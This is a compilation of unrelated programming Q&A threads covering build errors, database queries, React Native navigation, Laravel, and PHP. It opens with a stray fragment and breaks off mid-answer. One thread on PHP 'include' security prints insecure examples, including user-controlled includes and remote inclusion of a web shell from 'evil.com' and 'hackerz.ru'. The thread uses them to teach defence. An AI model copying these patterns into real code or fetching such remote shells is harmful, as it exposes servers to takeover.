Also I would recommend that you encapsulate this stuff in a class that extends TextField.


text:
Q: GridDB Node.js client will not build We've decided to switch to using Node.js, and I'm trying to build out the GridDB Node.js client, but I'm getting a make error. I followed closely with the blog and the GitHub instructions. How can I fix this?
Here's the error code:
$ make
g++ -fPIC -std=c++0x -g -O2 -c -o src/TimeSeriesProperties.o -Iinclude -Isrc src/TimeSeriesProperties.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/ContainerInfo.o -Iinclude -Isrc src/ContainerInfo.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/AggregationResult.o -Iinclude -Isrc src/AggregationResult.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/Container.o -Iinclude -Isrc src/Container.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/Store.o -Iinclude -Isrc src/Store.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/StoreFactory.o -Iinclude -Isrc src/StoreFactory.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/PartitionController.o -Iinclude -Isrc src/PartitionController.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/Query.o -Iinclude -Isrc src/Query.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/QueryAnalysisEntry.o -Iinclude -Isrc src/QueryAnalysisEntry.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/RowKeyPredicate.o -Iinclude -Isrc src/RowKeyPredicate.cpp
g++ -fPIC -std=c++0x -g -O2 -c -o src/RowSet.o -Iinclude -Isrc src/RowSet.cpp
swig -DSWIGWORDSIZE64 -Ilibs/js/v8 -outdir . -o src/griddb_js.cxx -c++ -javascript -node src/griddb.i
g++ -fPIC -std=c++0x -g -O2 -Iinclude -Isrc -I/usr/include/node -DNODE_GYP_MODULE_NAME=griddb -DV8_DEPRECATION_WARNINGS=1 -DBUILDING_NODE_EXTENSION -c -o src/griddb_js.o src/griddb_js.cxx
src/griddb_js.cxx:171:18: fatal error: node.h: No such file or directory
 #include <node.h>
                  ^
compilation terminated.
make: *** [src/griddb_js.o] Error 1

A: src/griddb_js.cxx:171:18: fatal error: node.h: No such file or directory
 #include <node.h>

The compiler can't find the "node.h" header file in any of the include paths ("/usr/include/node").
You need to install a "nodejs-devel" package that includes this header then re-run make.


text:
Q: python psycopg logic error when inserting and retrieving from db tldr; Can someone explain how to optimally structure a psycopg INSERT statement using variables for the data being entered?
I am attempting to store basic data types into a PostgreSQL database using psycopg. The first block of code is my attempt to store values into the ideatest database, and the ideastorage table. The second block of code was written to retrieve everything currently in the ideastorage table.
I return no syntax errors when executing the first block, but I'm pretty sure it doesn't work. The variables have already been defined and tested, but I think the %s string reference is where my issues lie.
    with psycopg.connect('dbname=ideatest user=postgres password=password') as conn:
        with conn.cursor() as cur:
            cur.execute('''
                INSERT INTO ideastorage (given_idea_id, idea_designation, idea_summary, idea_creation_time)
                VALUES (%s, %s, %s, %s)''',
                (ideaID, ideaName, ideaSummary, ideaTime)
            )

This second block returns 'None,' but I think that's because my insert syntax is incorrect.
     with psycopg.connect('dbname=ideaTest user=postgres password=password') as conn:
        with conn.cursor() as cur:
            cur.execute('''
                SELECT idea_designation, idea_summary, idea_creation_time
                FROM ideastorage
                ORDER BY idea_designation'''
            )
            cur.fetchall()

So, I think my error lies with how I'm inserting data into the table. I've checked the documentation here, but I believe the syntax for psycopg (I'm using psycopg3, technically) is different from the psycopg2 syntax - and even that syntax tells me my first block won't work. How should I properly write the first block to insert variables into the database? (I understand variables in python are basically just pointers).


text:
Q: Problema al recuperar información desde un puntero estoy haciendo un ejercicio de clase. Tengo que crear una lista doblemente enlazada empleando POO. Creé la clase nodo y la clase lista, pero tengo problemas a la hora de imprimir la lista por pantalla, ya que al acceder a los nodos, imprime basura en lugar de la información previamente introducida en ellos. Este es mi código simplificado y funcional para el ejemplo:
#include <iostream>
#include <cstdio>
#include <cassert>
#include <string>

using namespace std;

class node_c
{   private:
        string flightNumber;

        node_c* next;
        node_c* prev;

    public:
        node_c(void):
            flightNumber("Not asigned"),
            next(nullptr),
            prev(nullptr) {}

        node_c(string flightNumber_, node_c* next_ = nullptr, node_c* prev_ = nullptr){
            assert(flightNumber_.size() > 0);

            flightNumber = flightNumber_;
            next = next_;
            prev = prev_;
        }

        ~node_c(void) {}

        string get_flightNumber(void) const { return flightNumber; }
        node_c* get_next(void) const { return next; }
        node_c* get_prev(void) const { return prev; }

        void set_flightNumber(string flightNumber_) { flightNumber = flightNumber_; }
        void set_next(node_c* next_) { next = next_; }
        void set_prev(node_c* prev_) { prev = prev_; }

        ostream& write(ostream& os) const {
            os << "Flight Number: " << flightNumber << endl;

            return os;
        }
};

class dll_c
{   private:
        int size;

        node_c* head;
        node_c* tail;

    public:
        dll_c(void):
            size(0),
            head(nullptr),
            tail(nullptr) {}

        dll_c(string flightNumber_){
            size = 1;

            node_c nodeHead(flightNumber_);

            head = &nodeHead;
            tail = &nodeHead;
        }

        ~dll_c(void) {}

        node_c* get_head(void) const { return head; }
        node_c* get_tail(void) const { return tail; }

        ostream& write(ostream& os) const
        {   assert(size > 0);

            node_c* aux = head;

            for (int i = 0; i < size; i++) {
                aux->write(os);

                aux = aux->get_next();
            }

            os << endl << endl;

            return os;
        }
};

int main(void)
{   dll_c fullList("AA 0000");

    cout << endl << "FULL LIST: " << endl;

    fullList.write(cout);

    fullList.get_head()->write(cout);

    node_c nodoPrueba("AA 1111");

    nodoPrueba.write(cout);

    return 0;
}

Y este es el output en consola:
aluXXX@DESKTOP-XXXX:~/Documents/stackOverflow$ ./a.out

FULL LIST:
HHUHpHHyHEHHoH.H',HH=H5
                       HHH+HHHpH5V,HHpHH58,HHoHHoHEH5

Al parecer crashea al llamar al método write() de la DLL, porque si comentamos esta línea para que quede de la siguiente forma:
int main(void)
{   dll_c fullList("AA 0000");

    cout << endl << "FULL LIST: " << endl;

    //fullList.write(cout);

    fullList.get_head()->write(cout);

    node_c nodoPrueba("AA 1111");

    nodoPrueba.write(cout);

    return 0;
}

Obtenemos el siguiente output:
aluXXX@DESKTOP-XXXX:~/Documents/stackOverflow$ ./a.out

FULL LIST:
Flight Number:
Flight Number: AA 1111

Sigue sin imprimir la información del nodo, pero al menos no accede a información errónea.
En la versión original de mi código, la llamada a fullList.write(cout) ocasiona un Segmentation Fault, y llamando a fullList.get_head()->write(cout) imprimo basura.

A: Lo que ocurre es que nodeHead es una variable local y solo vive mientras la función se está ejecutando.
Entonces como tail y head guardan una referencia a ella, al intentar leer la posición de memoria donde se encontraba nodeHead obtienes basura.
Sé 2 soluciones para esto.

*

*Declara las variables en un lugar de tal forma que su tiempo de vida sea el necesario o el mayor posible, como en la función main por ejemplo.

*Usa memoria dinámica. Esta memoria permanece como la dejaste hasta el final del programa.
Puedes optar por reservar memoria para un solo elemento cada vez o lo que sería más aconsejable, reservar varios bloques de memoria grandes a medida que necesites más. De este modo el programa será más rápido porque va a usar la caché.
Depende de lo que elijas el procedimiento variará, pero la base es reservar memoria con new y liberarla con delete:
node_c* nodo = new node_c;
// Así reservas memoria para 10 nodos
node_c* nodos = new node_c[10];

...

delete nodo;
delete[] nodos;

La regla es que si usaste new debes liberar la memoria con delete y si usaste new[] debes usar delete[].


text:
Q: WP Sliding Bar Toggle can't close the drawer I have a custom image for my sliding bar toggle, then I have an entire Layer Slider that plays inside the drawer.
The only issue is that the close toggle is out of sight once the drawer is open, because the content in the drawer is so tall. So my first approach is I have been trying to target the selector for that close toggle, and bring it down and back into view.
I tried everything that I thought it could be, but I think it's: .fusion-sliding-bar-position-bottom.open
So I need to know how to get the close toggle down into view, but also:
How can I call the jQuery or whatever closes the drawer? Because you will notice, on the last slide in the drawer, I have a "Close and go back to site" button. When clicked, I want that to be able to close the drawer. I already got prepared and assigned a class to a hotspot that sits right over that button, called sb-hotpot. I can apply CSS to it, or make jQuery apply to it or whatever I need to.
Edit: site removed - issue solved
For now, until I can get the drawer to close, you'll obviously have to refresh the page to get out of the drawer.

A: *

*First quesion:

You can just make the toggle stick to top (with absolute positioning), when the sliding bar is open (it has open class).
.fusion-sliding-bar-position-bottom.open .fusion-sb-toggle-wrapper {
    position: absolute !important;
    top: 25px !important;
    right: 0px !important;
    z-index: 1000 !important;
}

*

*Second question:

When user clicked your button, You should trigger click of toggle button. like this :
jQuery(document).ready(function($){
  $('.sb-hotspot').on('click',function(e){
    $(e.target).closest('.fusion-sliding-bar-area').find('.fusion-sb-toggle')
  [0].click();
})
});


text:
Q: Law of iterated expectation (Binomial distribution) I would like to know whether I applied the law of iterated expectation correctly.

*

*$E[X|A=a]=ca$ where $X_i$ are discrete random variable ($X_i>0$).

*$Y_i$ follows Binomial Distribution $Binomial(X,p)$
Then, is the following correct statement?
$E[Y|A=a]=E[E[Y|X]|A=a]=E[Xp|A=a]=cap$

A: I think: if $\{A=a\}\in \sigma(X)$ it is true.
if $\{A=a\}\in  \sigma(X)$ so $E(Y1_{A=a}|X)=1_{A=a}E(Y|X) \hspace{.7cm} (1)$
by definition: $E(Z|B)=\frac{E(Z1_{B})}{P(B)}$
so
$$E(Y|A=a)=\frac{E(Y1_{A=a})}{P(A=a)}=\frac{E(E(Y1_{A=a})|X)}{P(A=a)}$$
$$\overset{(1)}{=}\frac{E(1_{A=a}E(Y|X))}{p(A=a)}=\frac{E(1_{A=a}Xp)}{p(A=a)}=
p\frac{E(X1_{A=a})}{p(A=a)}=pE(X|A=a)=pca$$
so it depend of what is $\{A=a\}$?


text:
Q: How to Create Top Navigation Tab Under Another Component in React Native? I'm using react-navigation version 5, currently, I have a screen with Text and Button inside a View which placed at the top of the SafeAreaView, and I need to add TopTabNavigator just below the View.
Here's the code:
TimelineComponent.js

import React from 'react';
import PropTypes from 'prop-types';
import {ScrollView, Text} from 'react-native';

class TimelineComponent extends React.PureComponent {
  render() {
    return (
      <ScrollView>
        <Text>Timeline</Text>
      </ScrollView>
    );
  }
}

export default TimelineComponent;

TrendingComponent.js

import React from 'react';
import PropTypes from 'prop-types';
import {ScrollView, Text} from 'react-native';

class TrendingComponent extends React.PureComponent {
  render() {
    return (
      <ScrollView>
        <Text>Trending</Text>
      </ScrollView>
    );
  }
}

export default TrendingComponent;

TopNav.js

import React from 'react';

import {createMaterialTopTabNavigator} from '@react-navigation/material-top-tabs';
import TimelineComponent from '../TimelineComponent';
import TrendingComponent from '../TrendingComponent';

const Tab = createMaterialTopTabNavigator();

export function TopNav() {
  return (
    <Tab.Navigator>
      <Tab.Screen name="Timeline" component={TimelineComponent} />
      <Tab.Screen name="Trending" component={TrendingComponent} />
    </Tab.Navigator>
  );
}

WallFragmentComponent.js

import React from 'react';
import PropTypes from 'prop-types';
import Icon from 'react-native-vector-icons/FontAwesome';
import {
  Keyboard,
  SafeAreaView,
  StyleSheet,
  Text,
  TouchableOpacity,
  TouchableWithoutFeedback,
  View,
} from 'react-native';
import {TopNav} from './TopNav';

const styles = StyleSheet.create({
  container: {
    padding: 20,
  },
  header_container: {
    backgroundColor: 'white',
    alignItems: 'center',
    display: 'flex',
    flexDirection: 'row',
    justifyContent: 'space-between',
  },
  header_text: {
    fontSize: 30,
    fontWeight: '500',
  },
  new_chat_button: {
    alignItems: 'center',
    borderColor: 'blue',
    borderWidth: 1,
    borderRadius: 12,
    display: 'flex',
    flexDirection: 'row',
    paddingHorizontal: 22,
    paddingTop: 6,
    paddingVertical: 6,
  },
  top_nav: {
    marginVertical: 20,
  },
});

class WallFragmentComponent extends React.PureComponent {
  constructor(props) {
    super(props);
    this.state = {
      input: {},
      secureTextEntry: true,
    };
  }

  handleInput = (name, value) => {
    this.setState({
      input: {...this.state.input, [name]: value},
    });
  };
  render() {
    return (
      <View style={{backgroundColor: 'white'}}>
        <SafeAreaView>
          <TouchableWithoutFeedback
            onPress={Keyboard.dismiss}
            accessible={false}>
            <View style={styles.container}>
              <View style={styles.header_container}>
                <Text style={styles.header_text}>Wall</Text>
                <TouchableOpacity style={styles.new_chat_button}>
                  <Icon name="comment" style={{marginEnd: 6, color: 'blue'}} />
                  <Text style={{fontWeight: '500', color: 'blue'}}>
                    New Post
                  </Text>
                </TouchableOpacity>
              </View>
            </View>
          </TouchableWithoutFeedback>
          <View style={styles.top_nav}>
            <TopNav />
          </View>
        </SafeAreaView>
      </View>
    );
  }
}

export default WallFragmentComponent;

In the WallFragmentComponent.js file, I have placed <TopNav /> inside a View, but it's not rendering when I run the project. Here's the screenshot:
screenshot
How am I able to add top navigation just under the Wall Text and New Post button? any help will be much appreciated.
Thank you,
Regards

A: This might help
// TopNav.js

const Tab = createMaterialTopTabNavigator();

const AppNavigator = () => {

  return (
     <Tab.Navigator>
       <Tab.Screen name="Timeline" component={TimelineComponent} />
       <Tab.Screen name="Trending" component={TrendingComponent} />
     </Tab.Navigator>
  )
}

export default AppNavigator;

WallFragmentComponent.js
import AppNavigator from './AppNavigator';
...........

const TopNav = createAppContainer(AppNavigator);

class WallFragmentComponent extends React.PureComponent {
......
render() {
    return (
      <View style={{backgroundColor: 'white'}}>
        ......
            <TopNav />
        ......
      </View>
    );
  }
}

You can also use react-native-scrollable-tab-view

A: Well, finally I have found the solution:

*

*Change the first <View ... /> element into <SafeAreaView style={{flex: 1}} /> and then everything is working correctly.

WallFragmentComponent.js

import React from 'react';
import PropTypes from 'prop-types';
import Icon from 'react-native-vector-icons/FontAwesome';
import {
  Keyboard,
  SafeAreaView,
  StyleSheet,
  Text,
  TouchableOpacity,
  TouchableWithoutFeedback,
  View,
} from 'react-native';
import {TopNav} from './TopNav';

const styles = StyleSheet.create({
  container: {
    padding: 20,
  },
  header_container: {
    backgroundColor: 'white',
    alignItems: 'center',
    display: 'flex',
    flexDirection: 'row',
    justifyContent: 'space-between',
  },
  header_text: {
    fontSize: 30,
    fontWeight: '500',
  },
  new_chat_button: {
    alignItems: 'center',
    borderColor: 'blue',
    borderWidth: 1,
    borderRadius: 12,
    display: 'flex',
    flexDirection: 'row',
    paddingStart: 22,
    paddingEnd: 22,
    paddingTop: 6,
    paddingBottom: 6,
  },
  top_nav: {
    marginTop: 20,
  },
});

class WallFragmentComponent extends React.PureComponent {
  constructor(props) {
    super(props);
    this.state = {
      input: {},
      secureTextEntry: true,
    };
  }

  handleInput = (name, value) => {
    this.setState({
      input: {...this.state.input, [name]: value},
    });
  };
  render() {
    return (
      <SafeAreaView style={{flex: 1, backgroundColor: 'white'}}>
        <TouchableWithoutFeedback onPress={Keyboard.dismiss} accessible={false}>
          <View style={styles.container}>
            <View style={styles.header_container}>
              <Text style={styles.header_text}>Wall</Text>
              <TouchableOpacity style={styles.new_chat_button}>
                <Icon name="comment" style={{marginEnd: 6, color: 'blue'}} />
                <Text style={{fontWeight: '500', color: 'blue'}}>
                  {' '}
                  New Post
                </Text>
              </TouchableOpacity>
            </View>
          </View>
        </TouchableWithoutFeedback>
        <TopNav />
      </SafeAreaView>
    );
  }
}

export default WallFragmentComponent;

Screenshot
And that's it


text:
Q: How to get a single row result for data I have the following two tables,
Table Periods,
Id  Names
1   Simon
2   Davis

Table Tier,
Id    sYear        days
1      0             0
1      1             21
1      5             30
2      0             0
2      1             26
2      5             30

The table schema is not the best, but not much i can do about it.
I need to retrive the days for an id based on the following criteria,

*

*If sYear is 0 return 0

*If sYear is between 1 and 5 return 21, or 26 if it is id 2 in the above sample data

*if sYear is greater than 5 return 30

The days column values differ for the different id's but sYear is always 0,1 & 5.
My attempt looks like,
set @sYear = 7;

SELECT
    et.id,
    names,
    CASE
        WHEN @sYear = 0 THEN days
        WHEN @sYear BETWEEN 1 AND 5 THEN days
        WHEN @sYear > 5 THEN days
    END as Result
FROM
    Periods ep
        JOIN
    Tier et ON (et.id = ep.id) AND et.id = 2;

which gives the results as,
id  names   Result
2   Davis    0
2   Davis    26
2   Davis    30

whereas the result required is,
id  names   Result
2   Davis   30

as @sYear = 7 is greater than 5.
dbfiddle

A: The following query will produce the results you can find in the tables:
@sYear = 7

id
days
names

1
30
Simon

2
30
Davis

@sYear = 3

id
days
names

1
21
Simon

2
26
Davis

@sYear = 0

id
days
names

1
0
Simon

2
0
Davis

SELECT
    et.id, names, days as result
FROM
    Tier et,
    Periods p
WHERE
    et.id = p.id
        AND et.days = (CASE
        WHEN @sYear = 0 THEN 0
        WHEN
            @sYear BETWEEN 1 AND 5 AND et.id = 2
        THEN
            (SELECT
                    days
                FROM
                    Tier et
                WHERE
                    sYear = 1 AND et.id = 2)
        WHEN
            @sYear BETWEEN 1 AND 5 AND et.id = 1
        THEN
            (SELECT
                    days
                FROM
                    Tier et
                WHERE
                    sYear = 1 AND et.id = 1)
        WHEN @sYear > 5 THEN 30
    END);

A: The following query will produce exactly the result you defined in your question:
@sYear = 7

id
names
result

2
Davis
30

SELECT
    et.id, names, days AS result
FROM
    Tier et,
    Periods p
WHERE
    et.id = p.id AND et.id = 2
        AND et.days = (CASE
        WHEN @sYear = 0 THEN 0
        WHEN
            @sYear BETWEEN 1 AND 5 AND et.id = 2
        THEN
            (SELECT
                    days
                FROM
                    Tier et
                WHERE
                    sYear = 1 AND et.id = 2)
        WHEN
            @sYear BETWEEN 1 AND 5 AND et.id = 1
        THEN
            (SELECT
                    days
                FROM
                    Tier et
                WHERE
                    sYear = 1 AND et.id = 1)
        WHEN @sYear > 5 THEN 30
    END);


text:
Q: Why should I add things to the /lib directory over /config/initializers? Functionally speaking, it seems like adding a new file to these locations has the same effect except files added to /config/initializers are automatically required. Given this advantage, is there any reason to add files to /lib?
Are there any other differences between these two folders?

A: config/initializes/ is for things you want loaded when you app loads hence 'initializer'.
As for lib/ you want to add your tasks such as rake files, cron jobs, etc.
You can think of it like this: initializes are self contained and don't get called where as the library contains things that get called.


text:
Q: PHP - Is "include" function secure? I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.

A: The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server.  For example- library.inc, or config.inc.  Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc.  Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow.  Ex: include( $_GET['menu_file'] ) <-- this is very wrong.

A: Include can be abused if you do something like this:
include($_GET["page"]);

and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.

A: Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";

Secure
include "page.php";

A: Include is safe provided you don't:

*

*Include a remote file like www.someoneelsesssite.com/something.php

*Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file

*Include a file from another possibly tainted source like a database.

2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.

A: It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>

Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>

Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>

Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>

Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

Secure
<?php
include('./includes/somefile.php');
?>

A: The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }

A: I'm using this method.
<?php include (dirname(__FILE__).'/file.php');


text:
Q: Firebase Hosting deploy with Google Cloud Build throwing "No such file or directory" error I built a simple ReactJs app and tried using Google Cloud Build to deploy it as soon as I push a new commit to the master branch on Github.
For that I added an "On push to master" trigger and followed every step from here to configure my Google Cloud and Local Project. In the end I created a cloudbuild.yaml file with the following content:

After a new commit and push the cloud build logs a correct npm install and npm run build, but the firebase stops at the following step.

I didn't understand which file/directory is missing, nor how to fix it. Could anyone help me a little?
Thanks in advance.

A: So after a whole day of work I found out the problem. Apparently when you generate the firebase image mentioned in the tutorial all its files need to use End of line LF, but in windows it sets all of them to CRLF. I solved the problem using the WSL terminal in windows.


text:
Q: Laravel constructor redirect is not working? I have a controller with several methods and I need to add a specific authorization check. If authorization failed then redirect login page. So for this reason i have created one private function and this function call in constructor.
class AdminController extends Controller
{
    public function __construct()
    {
        $this->middleware('web');
        $this->isLogin();
    }

    private function isLogin()
    {
        if (!empty(Auth::user())) {
            echo "Hello";
        } else {
            echo "Fasd";
            return Redirect::to('/login');
        }
    }
}

If auth is not found is does not redirect to login. What i write extra code for this?

A: Doing login page redirect use redirect::route into login page alias name routes.php.
public function isLogin()
{
    if (!empty(Auth::user())) {
        echo "Hello";
    } else {
        echo "Fasd";
        return Redirect::route('login');
    }
}


text:
Q: Why user selection is rendered on the screen? I'm trying to pragmatically create the user selection. Here is the plunker. Here is the simple setup:

Tim O'Reilly calls for a Blogger Code of Conduct. His proposals are:

Take responsibility not just for your own words, but for the
        comments you allow on your blog.

Label your tolerance level for abusive comments.

Consider eliminating anonymous comments.

Everything seems to be working fine, I get the expected output to console, however the text is not selected on the screen. Is it by design?

A: You have found the range, but now you need to tell the browser to select it. Example:
var sel = window.getSelection();
sel.removeAllRanges();
sel.addRange(range);


text:
Q: Cleaning up old HWE stacks? I've been running 12.04 since release and have updated to every new HWE stack.
I am currently on 12.04.4.
Does anyone know how to clean out all the old versions of HWE? I currently have way too many kernels on my laptop, which becomes a pain when DKMS starts rebuilding modules.
If anyone has any advise, that would be greatly appreciated.
Kind regards,
Michael


text:
Q: How to get token_for_business for Facebook login - iOS How can I get token_for_business from Facebook login? I have setup a business and associated my application with that business. Facebook documentation says you need to call GET /me?fields=token_for_business on User node, and it will return following json.
{
  "id": "1234567890"
  "token_for_business": "weg23ro87gfewblwjef"
}

I tried by providing token_for_business in parameter list of /me call but didn't work. Need advises.
Edit
I found this URL https://developers.facebook.com/docs/graph-api/reference/v2.5/user and tried by passing token_for_business in param of initWithGraphPath but no gain. I checked in Graph API Explorer and getting the required data. But not sure how to call from my objective-C code.
Edit 2
I Inspected the error object of initWithGraphPath:@"me?fields=token_for_business" call and found following details
Error Domain=com.facebook.sdk.core Code=8 "(null)" UserInfo={com.facebook.sdk:FBSDKGraphRequestErrorCategoryKey=0, com.facebook.sdk:FBSDKGraphRequestErrorHTTPStatusCodeKey=403, com.facebook.sdk:FBSDKErrorDeveloperMessageKey=(#200) Application must be associated with a business. https://business.facebook.com/, com.facebook.sdk:FBSDKGraphRequestErrorGraphErrorCode=200, com.facebook.sdk:FBSDKGraphRequestErrorParsedJSONResponseKey={
    body =     {
        error =         {
            code = 200;
            "fbtrace_id" = "EN9bN/YMloA";
            message = "(#200) Application must be associated with a business. https://business.facebook.com/";
            type = OAuthException;
        };
    };
    code = 403;
}}

But if I try my app in Graph API Explorer then I'm getting the required data. So now it confusing me.


text:
Q: What does it mean when you see three dots over a player's head instead of their name? Ordinarily you see a player's name and level as hover text above their head, and sometimes it's three dots.  What do the dots mean?

A: This is an indication that the player is in a menu, interacting/inspecting other players, or interacting with a vendor.


text:
Q: PHP Select a survey from array I'm a new at PHP and working on my 3rd assignment. I have a page that displays 3 radio buttons, each associated with a different survey. The user clicks on a survey and submits to display the questions. I cannot figure out why only the first set of survey questions will display regardless of which radio button they select. I would greatly appreciate help.

<?php
session_start();
require_once ('arrays.php');

// The isset() function is used to check whether a variable is set or not.
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] == false) {
    header("Location: index.php");
}

$isPostBack = filter_input(INPUT_POST, 'submitButton') !== NULL;
if ($isPostBack) {
    // This is what happens if there is a postback.
    $choose_survey = filter_input(INPUT_POST, 'choose_survey', FILTER_VALIDATE_FLOAT);
    if ($choose_survey !== NULL) {
        // Check the value of $choose_survey and then set 'survey' accordingly, e.g.
        if ($choose_survey == "The Shire")
            $_SESSION['survey'] = $survey0;
        else if ($choose_survey == "Minas Tirith")
            $_SESSION['survey'] = $survey1;
        else if ($choose_survey == "Rivendell")
            $_SESSION['survey'] = $survey2;
        // A survey is selected so this is what happens.
        // these are the survey questions
        // this will contain the answers
        $_SESSION['answers'] = array();
        // this is the question number
        $_SESSION['number'] = 1;
    } else {
        // A survey is not selected because it was already chosen.
        // get the value from the radio button.
        $answer = filter_input(INPUT_POST, 'answer', FILTER_DEFAULT);
        $question_key = filter_input(INPUT_POST, 'question_key', FILTER_VALIDATE_FLOAT);
        // this will be used later to display the answers/results
        $_SESSION['answers'][$question_key] = $answer;
        // This is adding 1 to the question number.
        $_SESSION['numbers'] += 1;
        unset($_SESSION['survey'][$question_key]);
    }
} else {
    // This is what happens if there is no postback.

    // add code that records which survey they selected for the results page
}
?>

<!DOCTYPE html>

<form id="survey" name="survey" method="post" action="survey.php">
    <?php
    if (!isset($_SESSION['survey'])):
        echo '
Please choose a survey
';

        foreach ($surveys as $key => $value) {
            $surveyButton = <<<HEREDOC
    $value
    <input type="radio" name="choose_survey" id="$key" value="$key">

HEREDOC;
            echo $surveyButton;
        }
    else: ?>

Please respond to each survey statement

            <?php
            $key = array_key_first($_SESSION['survey']);
            $value = $_SESSION['survey'][$key];
            $surveyQuestions = <<<HEREDOC
            <input type="hidden" name="question_key" value="$key">
     $value

                <input type="radio" id="$key" name="answer" value="strong_agree">
                Strongly agree

                <input type="radio" id="$key" name="answer" value="agree">
                Agree

                <input type="radio" id="$key" name="answer" value="neutral">
                Neutral

                <input type="radio" id="$key" name="answer" value="disagree">
                Disagree

                <input type="radio" id="$key" name="answer" value="strong_disagree">
                Strongly disagree

HEREDOC;
            echo $surveyQuestions;
            ?>

    <?php endif; ?>

    <input type="submit" name="submitButton" value="Submit">
</form>

**And my arrays.php file contains the following code:**

<?php
$surveys = array("The Shire", "Minas Tirith", "Rivendell");

$survey0 = array(
    'Staying in the Shire was the best part of my vacation.',
    'The food served at The Green Dragon tavern was excellent.',
    'The party to celebrate Bilbo\'s birthday was my favorite event.',
    'Gandalf\'s firework show was unforgettable experience',
    'The weather during my visit was perfect.',
    'The bed in Bilbo\'s home was very comfortable.',
    'I enjoyed visiting The Green Dragon during my stay. ',
    'I will return to the Shire for another visit in the future.',
    'I would have liked my stay at the Shire to be longer.',
    'Visiting the Shire has been one of the greatest experiences of my life.'
);

    $survey1 = array (
        'Staying in Minas Tirith was the best part of my vacation. ',
        'The view at the top of Minas Tirith was the highlight of my stay.',
        'Dining with the king of Minas Tirith was the highlight of my stay. ',
        'The meals served in the great hall was some of the best I\'ve ever had.',
        'The weather during my stay at Minas Tirith was perfect.',
        'The bed in my castle suite was very comfortable.',
        'I enjoyed the many royal parties in the royal courtyard.',
        'I will return to Minas Tirith for another visit in the future.',
        'I would have liked my stay at Minas Tirith be be longer.',
        'Visiting Minis Tirith as been one of the greatest experiences of my life.'
    );

    $survey2 = array (
        'Staying in Rivendell was the best part of my vacation.',
        'Experiencing the many waterfalls was the highlight of my stay in Rivendell.',
        'Attending the annual celebration with the elves in Rivendell was the highlight of my vacation.',
        'The meals served in Rivendell\'s great hall was some of the best I\'ve ever had.',
        'The weather during my visit in Rivendell was perfect.',
        'The bed in my suite at Rivendell was very comfortable.',
        'I enjoyed exploring the many beautiful gardens in Rivendell.',
        'I will return to Rivendell for another visit in the future.',
        'I would have liked my stay in Rivendell to be longer.',
        'Visiting Rivendell has been one of the greatest experiences of my life.'
    );

?>

A: FYI Its difficult to tell whats going on, it helps us to help you if you create a Minimal, Complete, and Verifiable example so we can see where the problem is.
It doesn't look like you are checking what survey was selected - you just set the survey to $survey0 regardless.
What you are doing:
$choose_survey = filter_input(INPUT_POST, 'choose_survey', FILTER_VALIDATE_FLOAT);
if ($choose_survey !== NULL) {
    // if ANY survey was selected, then set 'survey' to $survey0
    $_SESSION['survey'] = $survey0;

    [etc...]

You need to check the value of $choose_survey and use it to decide which survey to use, e.g.
$choose_survey = filter_input(INPUT_POST, 'choose_survey', FILTER_VALIDATE_FLOAT);
if ($choose_survey !== NULL) {
    // Check the value of $choose_survey and then set 'survey' accordingly, e.g.
    if ($choose_survey == "The Shire")
        $_SESSION['survey'] = $survey0;
    else if ($choose_survey == "Minas Tirith")
        $_SESSION['survey'] = $survey1;
    else if ($choose_survey == "Rivendell")
        $_SESSION['survey'] = $survey2;
    [etc...]

UPDATE:
The radio buttons values are the array indexes so (1)validate the posted data as as INT instead of a FLOAT and (2)change the if statements to check for 0,1 and 2:
// UPDATE 1: Save the posted value as an integer instead of a float:
$choose_survey = filter_input(INPUT_POST, 'choose_survey', FILTER_VALIDATE_INT);
if ($choose_survey !== NULL) {

    // TEST THE VALUE: print out the saved value to see if its what you expect
    echo "
Saved value for choose survey = $choose_survey
";

    //Check the value of $choose_survey and then set 'survey' accordingly
    // UPDATE 2: the values are the array index so change the if statements :
    if ($choose_survey == 0)
